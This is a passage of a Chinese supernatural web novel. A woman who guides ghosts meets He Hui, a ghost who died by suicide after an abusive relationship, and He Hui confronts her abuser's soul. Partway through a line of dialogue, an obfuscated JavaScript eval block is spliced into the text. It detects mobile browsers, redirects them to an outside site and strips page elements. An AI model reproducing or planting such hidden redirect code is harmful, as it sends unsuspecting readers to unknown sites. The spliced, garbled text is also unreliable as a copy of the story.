张祎宁不知道她是怎么认识自己的,更不知道她出现在医院在自己面前是精心的设计还是巧合,要想弄明白,就去问问她。 张祎宁深吸一口气,将手机放下,大方地直视她,微笑着走近。 “你好,何卉。” 张祎宁见过她的照片,见过她低垂的侧脸,这是第一次近距离地看见她的正脸,花容姣好,只可惜失了颜色。 “你怎么认出我的?”原来她的声音是这样的,清脆甜美。 “网上有你的照片。” 加害人的照片被打码,受害者的照片却满天飞,张祎宁也很遗憾与她的第一面是通过那样的方式。 何卉努努嘴,未置一词。 “那你呢?你又是怎么认出我的?” “你不是来见过我吗?” 张祎宁不好意思地说:“被发现了……我还以为藏得很好。” 何卉歪了歪头,“你看了我很久。” “余倾山呢?”还是回到正题上来了,何卉的眼神微变。 张祎宁也正色道:“我不知道,我没有帮他。” “你没有帮他?可我听说他找的就是你,然后就不见了。” 是梦里那双眼神,褪去客套的伪装后,赤裸裸的愤怒、不甘与审视。 “他最后找的人不是我,我拒绝了他。” “那是谁!” 声音陡然变得尖利,张祎宁稳住心神,答道:“我不知道。” “他的执念是什么?” 张祎宁如鲠在喉,感觉自己说出口的每一个字都是对何卉的亵渎。 “他……他要你殉情,和他双宿双飞。” “恶心。” 那朵失去颜色的花正在重新着色,用自己愤怒的血液着色。 “何卉,我拒绝了他,但我可以帮你,你的执念是什么?” 张祎宁再一次不知悔改地伸出手,抓住布满尖刺的花枝,让它不至摇摇欲断。 何卉笑了,笑得开怀,“你要帮我?” “如果可以的话,我想帮你。我可以从你这里知道故事的另一个版本吗?” “他的版本是怎样的?” “你们很相爱,你毅然决然和父母大闹一场后随他离去,再然后,你回家看望父母时被强留下,他去找你,发生了争执,是场意外。” 张祎宁看着她笑弯了腰,好半晌才缓过来回话:“他……哈哈哈哈……他就是这样的人,避重就轻,PUA的一把好手,想到他的脸、提到他的名字,都让我无比痛苦,不好意思,你听不到我的版本了。” “你不愿意说没关系,可是,你为什么会死掉?” 就这么让他得偿所愿了。 “我爸爸被关进监狱,我妈上个礼拜去世了,都是我害的,合该我偿还。”提到父母,何卉的声音稍缓,“我妈有基础病,受伤以后反反复复,最后还是恶化了。” 打磨已久的寒光出鞘,何卉死死地盯着眼前面露感伤的女人,一字一句问道:“你真的能帮我?” “我会尽力帮你,能告诉我了吗?你的执念。” “你叫什么名字?” “张祎宁。我叫张祎宁。” 不是代号巴掌,而是张祎宁。 何卉你好,我是张祎宁。 “张祎宁,我唯一所念——我要余倾山求生不得、求死不能。” 张祎宁一怔。求生不得、求死不能。 “好,我知道了。我会想办法,明天,明天我再到这里来找你。” “好。” 她离开医院后,从包里找出阴身簿,并未在上面看到何卉的名字,还是恼人的余倾山。 照何卉所说,她的执念如果真是余倾山求生不得、求死不能,那已经实现了,灵狱担当的就是类似的职能,但这件事情有个漏洞,何卉死的那一刻,她和余倾山的执念可以说是同时实现的,但也许因为余倾山找自己委托在前,所以何卉的名字被留置了。 理性回笼,她才后知后觉自己犯了错,她不该立刻就承诺自己相帮,这反倒将何卉的名字留置了。她如果想帮何卉勾魂,就得先把余倾山的完成,可余倾山一旦被勾魂入关,何卉的执念是不是也会失效?她必须先帮何卉勾魂,余倾山再议。 如此,她需要求助其他掌簿。 是夜。张祎宁先将医院里的偶遇告诉了刘元詹,他很敏锐地捕捉到另一个被张祎宁忽视的细节。 “你没有告诉她灵狱的存在,又要如何让她相信余倾山现在是真的落入此番境地呢?” “这算秘密武器吧,而且也不是我的东西,应该不能随随便便跟别人说……但你说得也有道理,可能我告诉她灵狱的存在,她也不一定会相信,得亲眼所见……杜文新他们能同意吗……” 他们都还没见过这秘密武器呢。 刘元詹的眼神瞟向她的手机,提议道:“不妨一问?” 她又想起那天晚上,老金面带嫌弃地将她赶走,两个都是刀子心肠,像杜文新那种嘴欠的她还能回呛两声,遇上老金就没辙了,打不敢打,骂不敢骂,翻白眼都得避着些。 她长叹一声,拨通了杜文新的电话。 “靠靠靠靠——打呀你!还站着不动!” 开了免提,张祎宁只能听到背景音杂乱,再就是他的大吼大叫。 她试探性地开口:“喂?” “干嘛?靠——这笨的,就这水平还敢联机!” “你这是在干嘛?” “魂斗罗。” “哦,你连语音了没?我有事要说。” “魂斗罗连什么语音?” 那你这是虚空索敌? “老金跟你说了没?余倾山的事情。” “说啦,我还想问你呢,磨磨蹭蹭的不让他下去是要干嘛。” 张祎宁从鼻子里哼出一气,哧道:“还说呢,好险我磨蹭,不然现在才叫麻烦。” 她以一种半自豪半慨叹的语气将何卉的事情娓娓道来。 “所以,你或者老金得帮忙,把我的阴身簿和她的联系转移到你们其中一人身上,然后帮她勾魂。” 不知道从哪句开始,魂斗罗的背景音就已经停了,杜文新问:“她怎么会找上你?” “呃……”张祎宁没想到杜文新竟会注意到这一点,尴尬地摸摸鼻子搓搓手,“那个……我当时不是在网上搜了一下这个事情嘛,就看到了她的照片还有她母亲住院的医院,好巧不巧就是天桥旁的仁心,那我……就是顺路去看了看,她说她当时注意到我了……” 她已经能脑补出电话那头的表情,忙岔开话题道:“怎么样?帮不帮?” “谁不捡漏谁是傻子。但是。” “但是?” “我和老金不行,我俩不接,我给你找个掌簿接。” 张祎宁一屁股从软和的毛毯上坐起,提高声量,讶然道:“什么意思啊?你俩都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832817|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不接?” “是,我俩……我俩有准则,每个月完成两个KPI以后就不再接活,不然我们两个管事的还不中饱私囊?” “这……”这说得也有道理,老金不知道,杜文新可不敢保证,要是让杜文新当上了“销冠”阎王,咦——张祎宁打了个寒颤。 “那你找个信得过的,对,最好是个女的。” “行。明晚你先把何卉带到店里,在店里说清楚以后我就叫人来收了她。” 张祎宁不满,“啧,什么收不收的,说话这么难听。” “一个意思。” 她也不花心思纠正杜文新嘴欠的毛病,支支吾吾道:“那啥……我能跟她说灵狱的事吗?不说多,就告诉她有这么个地方,才好取信于她。” 杜文新沉默了片刻,这短暂的沉默使得张祎宁和刘元詹面面相觑,两人都没有把握得到许可,那毕竟是人家的看门宝贝。 “行,你先把她带到店里来。” 电话挂断,张祎宁仰面倒在毛毯上。 “你说,已经出现在阴身簿上的名字会消失吗?” “不知,你是在说余倾山?” 她盯着天花板,若有所思,“嗯,就像走迷宫一样,一打眼是许许多多的线,还有很多的断口,好像不管怎么走都能走到出口,可真走起来才发现能到出口的也就那几条,很多时候从你在起点选择东南西北四个方向时就定好前面是死路还是活路了。万一……我是说万一明天何卉勾魂以后,把余倾山放出来了,但是勾不了他的魂怎么办?” “不会的,他的名字不是已经出现在阴身簿上了吗?命数已尽。” 张祎宁还是踌躇,“不是,那万一,比如说随着何卉勾魂入关,余倾山的执念失效了,就根本实现不了怎么办?我根本不知道阴身簿隐藏的规则,怎么敢打包票?” “那你当如何?” “我……” 她只有这条路可选。如果选择稳妥的方式,先将余倾山勾魂,那剩下的何卉就会面临一样的困窘——执念的对象不在了,失效后是因绝望而可直接勾魂抑或是带着无尽的悔恨辗转人间。 张祎宁不敢赌,赌自己的手上诞生一个女版刘元詹。 “别担心,如果有问题,杜文新和老金会出面制止。” 张祎宁将瞳仁转向他,问道:“真的吗?你相信他们会及时制止?” 他带着温和的笑反问:“你不相信吗?” 她真的能相信他们吗? 他们都有不可告人的秘密,他们好像无坚不摧、没有软肋。 “嗯,我也信他们。” 交换秘密的那一刻起,也交换了朋友的身份。 他们之间没有交换过秘密,谈不上朋友,但信任的开始不一定需要朋友的身份。 “明天你就在店里等我吧,我自己去找何卉。” “好,万事小心。” * 何卉自杀那天将头发束起,在背后绾成马尾辫,穿着缀有茉莉花的碎花裙,脚踩一双纯白的帆布鞋,她对镜自照,很满意这一身装扮,像回到无忧无虑的高中,那是认识余倾山之前,即便是要死,也得死在没有他的回忆里。 她就是穿着这一身衣服收到大学的录取通知书,爸爸、妈妈,还有她,一起去县城的照相馆里拍了张合照,他们拍完照出来在隔壁吃了麦当劳,爸爸妈妈第一次默许并陪着她吃这种“垃圾食品”,她太开心了,变成大人后好像都是开心的事。 她开心到将芝士酱沾在衣服上,妈妈难得没有数落她邋遢。 何卉站在镜子前,那里映不出她精心搭配的服装,更看不见那块隐隐泛黄的污渍,全都黯然失色。 长大后不全是开心的事,是因为难过的时间越来越长了,那些能数得过来的开心瞬间才会一次、两次、三次,越来越亮。 50. 何卉 张祎宁找到何卉的时候,她还坐在住院部楼下的长椅上,安安静静,一如初见。远远地,她记得那次何卉穿着白色的棉麻短袖和卡其色的棉麻长裤,这次则是一条长裙,颜色、样式都看不清,但在冬天显得很单薄。 “何卉!” 她朝着那个落寞的身影招手。 “你来了。” “能跟我走吗?我找到余倾山了。”现在已经是晚上八点,杜文新和老金都准备妥当,她也不想浪费时间,横生事端,不知为何她今日一整天都心不在焉。 何卉闻言果然从长椅上站起,“在哪?” “我现在可以带你去。” 她眉毛一扬,略显惊讶:“他不来见我?” “他是被困在那个地方了,我就是想告诉你,你的心愿已经达成,余倾山现在求生不得、求死不能,但我想如果不是亲眼所见你不会信,所以我带你去看。” 何卉突然变得戒备,“困?他被困住了?” 张祎宁绞尽脑汁怎么能避开灵狱不谈却又让何卉信服,“是,有这么个地方。走吗?让你看看他的下场。” 她想借用1980taste周边那个类似的结界作为灵狱的平替,让何卉看到这个的威力足够有信服力了吧。 何卉慢慢绽开一抹笑,温声道:“好,我和你去。” 何卉对张祎宁口中那个能困住鬼的地方充满好奇,一路都在打听——“那到底是个什么地方?世界上还有这种宝贝吗?怎么用啊?被困在里面的鬼会怎样?真的不会跑出来吗?抓进去了还能放出来吗?谁的宝贝啊,是你的吗?” 她像是朵初涉人间的含苞花蕊,充满了天真的好奇,可这些问题张祎宁一问三不知,她所知道的除了比何卉多一个学名以外,好像也没有什么了。装傻充愣的本事重新上身——“啊?你说什么?这太吵了没听见。小心点,你站里边吧,别人看不见你会撞到。哦,你问这个啊,等下见到你就知道了。” 她嘴上笨拙,脚下却飞快。 * “老金,你有没有觉得我们餐厅越来越像什么物品寄存处或者托管所了?”杜文新坐在吧台前的高脚凳上对着老金嘟嘟哝哝。 老金瞥了端坐的刘元詹一眼,对方没有半点身为话题中心的觉悟,他可能根本就没听懂小杜的话外之音,但他也对小杜很无语,毫不留情地拆穿:“你适应新身份也很快,还给他放电视看。” “咳——”杜文新清清嗓子,“喂!刘元詹,是张祎宁给你放的动画片好看还是我这个好看?” 刘元詹坦率答道:“动画片。” “这古惑仔不帅吗?” “看不明白。” 杜文新捏捏眉峰,痛心疾首道:“造孽啊张祎宁,这都把脑子看坏了。” “以后少跟张祎宁玩,她自己脑子还没发育完全,这带得你……” “闭嘴。”老金一声呵斥,打断了杜文新的喋喋不休。 万籁俱寂,只剩TVB的纯正港风口音以及清脆的铃铛声。 来了。 “你怎么了?就是这里。”张祎宁正欲推门,却见何卉往后退了一步。 她的身体连同整张面容被暗处的阴影吞没,张祎宁眯起眼睛细瞧,却也看不清。 “在这里面?” “是的。” 张祎宁等了一会儿,没听见何卉的答言,便重新握上门把手。她刚推开一条缝,里面的灯光漏出一点倾泻在她的小臂上,就被人大力从里边拉开。 她的身体还不及因惯性向前摔,余光中的何卉奔跑了起来,继而是从店内追出的老金、杜文新,还有刘元詹。 “刘元詹!” 她好不容易叫住落在队尾的。 “怎么回事?” “发生何事?” 两人一同发问,很明显,没人知道是什么状况。 “你快!快追上他们,我跑得慢,扫辆车。” 共享单车,是21世纪掌簿的交通利器。巴掌如是说。 她遥遥跟着刘元詹的“车尾灯”,总算见到对方在一条巷口停下。 “怎么了怎么停了?” “他们在里面。” 张祎宁忙将车停稳,和刘元詹一齐入内。 只一眼,她便知大事不妙。何卉和他们打起来了。 张祎宁喃喃:“何卉是恶鬼,杜文新和老金……他们……他们不是掌簿。” 他们和灰灰人都是……难怪……一切都说通了。过往的碎片被一根绳从中穿过,连了起来。 她曾想让刘元詹见识一下恶鬼的狠辣,却不想,是这样的场景。 “别……别过去,她也许会伤你。” 她紧紧攥着拳头,将刘元詹护在身后,盯着何卉和他们纠缠打斗的身影,何卉只是一个女生,她如何能及杜文新和老金?她会死的,会……会灰飞烟灭……可是,可是她是恶鬼,恶鬼的可怖张祎宁见识过。 但也不都如她的预料,至少,目前的战局没有呈现出单方面的碾压,问题好像出在杜文新身上。他怕是个花架子。 不,不对,张祎宁站在一个旁观者的角度,何卉的身法不论如何腾挪转移,都始终紧跟在杜文新身后,她一次次在杜文新背后发难,且把老金置于身前,让老金的每一次出击都犹豫又收束。这招她见识过。 “小杜,退出去,我来。”老金也很快识破,对着正在左右格挡进攻的杜文新喊道。 杜文新毫不恋战,但何卉并不给他抽身的空子,她的面目变得狰狞,仿佛要将杜文新瞪穿,不知疲倦地出击。 通过这近距离的对战,张祎宁才看清楚,在恶鬼与杜文新和老金的对垒中,恶鬼毫无疑问是占上风的,除了那一击致命的符纸以外,它们不会累,即使受伤,只要一息尚存,它们都能再战,可杜文新和老金是人,会力有不逮会疼痛受伤,一点反应不及便会失势。 杜文新逐渐支撑不住,一个泄劲,被何卉一拳砸向面门。他眼冒金星,身体不受控地向后倒,何卉闪身来到他的背后,伸出双手要给他再一重击。张祎宁暗叫不好,整个人已经冲进乱局,她比老金离得近,她能赶上。 她与何卉的目光再次在半空相遇,何卉眼睁睁地看着张祎宁快她一步将杜文新拉住,拽向一旁,她的愤怒暴涨,快要溢出。 “张祎宁,带小杜走,他身上有伤!”老金趁隙夺回主动权。 “你受伤了?难怪,搁这添乱呢……”张祎宁没好气地说道,但看见杜文新一脸灰白,又把后面更多的数落之词咽下,她扶着杜文新要拐进一旁的暗巷。 二人都以为何卉被老金牵制着,并未留心身后,直到听见老金和刘元詹两声同时的“小心!”,刘元詹冲向张祎宁身后,却只能看着何卉穿过他的身体,飞扑向还没来得及回头的二人。 杜文新感到背后一阵拉扯,顿觉不妙,后背的伤口一寸寸崩开,他连呼痛的力气都没有。 张祎宁只是虚揽着杜文新,更对这突如其来的变故一无所知,身上一轻,回头探寻时却见一道人影如泰山压顶,她避无可避,紧接着,身上一重,连同那人一起跌落在地。 “我——去——我要死了……” 身下的硬石子咯在脊背上,张祎宁怀疑自己怕不是要瘫痪了。 “咳咳咳——”杜文新痛咳出声,“我才要死了……” 何卉刚刚扯过杜文新,又用尽全力将他推向张祎宁,这一拉一扯,杜文新觉得自己的整个后背肩胛骨像被人用斧子劈开,痛不欲生。 “你……”张祎宁缓过气来,才发现那个泰山压顶的人正是杜文新,但他并不是整个人都压在她身上,他用两只手掌撑地,缓冲了这巨大的推力和重力,不然,张祎宁觉得自己这条小命不死也半残。 她费力将杜文新抬起,看见他在这隆冬时节汗如雨下,五官扭曲在一起,嘴唇痛得直哆嗦,“你没事吧?” 杜文新可说不出没事,他大口地呼吸,额角的青筋乍起。 张祎宁惊呼:“你的手!” 拖长的血痕、磨痕,还有碎石粒子嵌在伤口里,异常骇人。 “走,快走!”张祎宁急忙将他扶到暗巷里的墙角。 “杜文新!你还行不行!?去医院吧?”她第一次见到这样的打斗,比董昊那时还可怕。 “不用,马上,马上就好,等我……等我缓过这一波。”他闭着眼睛调整呼吸,“你去看看老金那边。” “刘元詹,你看着他,我看看老金。” “好。” 她探出半个脑袋看向那酣战的二人。 没有杜文新,老金双拳敌二手,反倒稳占上风,不过两下就擒住了何卉。他一手扳着何卉的肩膀,另一手向她靠近,何卉盯着这只不断靠近的手,眼睛里涨满了恐惧,嘶声尖叫。 “等一下!等一下,老金!” 张祎宁也不知为何,她能果断从何卉手下救出杜文新,这刻,又不忍看见何卉就这样香消玉殒。 “等一下可以吗?我……”她也不知道要等什么。 何卉愤怒地喊:“张祎宁!你骗我!你说要帮我!可是却伙同别人合谋害我!我到底做错了什么,就因为我喜欢上了一个人渣,就要下地狱不得好死吗!” “没有!我没有,我是要带你去见余倾山,我没有骗你,余倾山被关在那间屋子里,可是我不知道你是恶鬼,更不知道……”她看了眼老金,没再说下去。 老金却替她搭言:“她没骗你,余倾山被关在灵狱里。” 张祎宁觉得很荒诞,但现实的本色即是荒诞,她真心想帮何卉,何卉肯跟她走,应也是交付了一定的信任。可是,她们却又本能地选择欺骗,她欺骗何卉说自己不知道余倾山的下落,何卉欺瞒自己恶鬼的身份。她们有同为女性的惺 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张祎宁想,这个提议被兑现的可能性不到10%,可她出于自己的心,势必要出言求情,但从10%直接满格到100%,就如同她蓄积的忧伤,眼泪夺眶而出。 “哦哦,好!”她借着夜色转身抹去这不该让人知晓的脆弱,跑进暗巷,扶起杜文新,将他整个人架在一边肩上。 肩上的重量从重到轻,耳畔的呼吸也由急促转成平缓,杜文新缓过来了。 好在这一行不远,她在自己快脱力前抵达了1980taste,小心翼翼将杜文新放下,才看见他背后的血污,血水渗出,湿了一片。 张祎宁的手和身体都在发抖,“老金!……杜文新他流了好多血!” 她平生从未见过一个人流这么多血。 杜文新嘴硬:“死不了。” “会……会失血休克的。” 老金依旧缚住何卉的双手,走近瞧了眼杜文新的后背,冷静说道:“没事,只是伤口撕裂了,确实死不了,先干正事。” “真……真死不了吗……” 不再有人回应她,只有刘元詹站到了她的身边,离她那么近,她看见他们的手交叠在一起,像是合为一体,他的眼睛有魔力,只要他用这双眼睛看着自己,说:“别怕,没事。”她就觉得自己又能正常呼吸了。 张祎宁睁大双眼,看着老金将一张符纸贴在大门上,那扇门就凭空消失了,但背后也不是街道,黑黝黝的,看不见里面的景象。没有人说话,等待的几分钟如同一个世纪那般漫长,对于在场的所有人而言都是如此。而后,那团黑搅动起来,像是有什么东西要破壳而出。 张祎宁看见余倾山的时候才发现自己其实已经对他的样貌毫无印象了,但他看见何卉的眼神,毁天灭地的恐怖的热烈,所有的记忆和最鲜明的厌恶都回到脑海里。 “卉卉!卉卉!真的是你!” 他站在门边,抑制不住地颤抖,环视了周遭的几人,大笑道:“你们做到了!你们真的做到了!” “那样的天地……卉卉,只有我们两人的天地……” 他一步步朝着何卉走去,却在这一瞬,何卉自己主动靠近了老金手上的符纸。 老金早有所察,但他没有拦,而是让这一切发生得更自然、迅捷,迅捷到余倾山伸出的手还没来得及碰到何卉,何卉的身体就在余倾山面前一寸一寸地消失。 没有尖利的嚎叫,何卉以得胜者的眼神睥睨着余倾山,安静地看着他的表情崩解,从狂喜到怔愣到错愕。 张祎宁带她来见余倾山最后一面,原以为她会将所有的怒气挥斥,却不想是这样安静。愤怒或是咒骂都代表了不甘心,如张祎宁拒绝余倾山后在他脸上看到的表情,但何卉没有,她在余倾山的面前灰飞烟灭,将所有的情绪都留给那个被抛弃的人,赐给他深深的绝望。 与其说是一场酣畅淋漓的报复,不如说是玫瑰拔掉自己身上所有的刺,褪去所有的着色后回归到它想成为茉莉的本色。 “什么……发生了什么!卉卉……卉卉呢?”余倾山的手擦过那一抹飞烟,什么也没握住。 张祎宁走到他身前,一字一句传达:“她宁愿灰飞烟灭也不愿再见到你,永生永世的轮回,你都不会再遇见她了,何卉和你余倾山终于再也、再也不会有关系。” 余倾山颓然地倒下,张祎宁也终于在他的脸上看见那副鬼应有的死相,不待他抒发,立刻掏出准备好的阴身簿,看见余倾山的名字并未消失,她有力地敲下丧钟。 自此,花园夷为平地,一朵花瓣都不留人间,但每当张祎宁张开手看见那被尖刺深深扎伤的掌心依旧会想起穿着长裙、绾起马尾的女孩。 她坐在长椅上,抬头看见角落里窥视的张祎宁,绽开最美的微笑。 “你好,我是何卉。” “何卉你好,我是张祎宁。”